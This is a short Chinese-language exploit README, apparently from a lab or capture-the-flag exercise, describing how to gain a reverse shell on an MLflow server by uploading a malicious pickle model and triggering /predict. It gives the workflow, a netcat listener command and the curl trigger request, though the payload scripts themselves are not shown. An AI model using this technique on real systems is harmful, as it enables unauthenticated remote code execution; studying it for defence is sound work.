| 文件 | 用途 |
|---|---|
generate_model.py | 生成带有反向 Shell 载荷的恶意 model.pkl |
upload_model.py | 将 pickle 上传至 MLflow 并将其提升至 Production |
sample.csv | 用于触发 /predict 端点的 CSV 文件 |
编辑 generate_model.py 并设置你的 tun0 IP:
python3 generate_model.py
nc -lvnp 4444
编辑 upload_model.py:
MLFLOW 设置为 http://127.0.0.1:5000MODEL_NAME 设置为主域名上找到的活动模型名称python3 upload_model.py
从客户端应用获取一个新的会话 Cookie,然后:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
Shell 会回连到你的监听器上。
通过 MLflow 模型注册表进行 Pickle 反序列化
MLflow 使用 Python 的 pickle.load() 加载注册的模型。通过上传精心构造的 pickle 作为模型产物并将其提升至 Production,任何后续对 /predict 的调用都会在服务端反序列化该载荷,从而以应用程序用户的身份实现未认证的 RCE。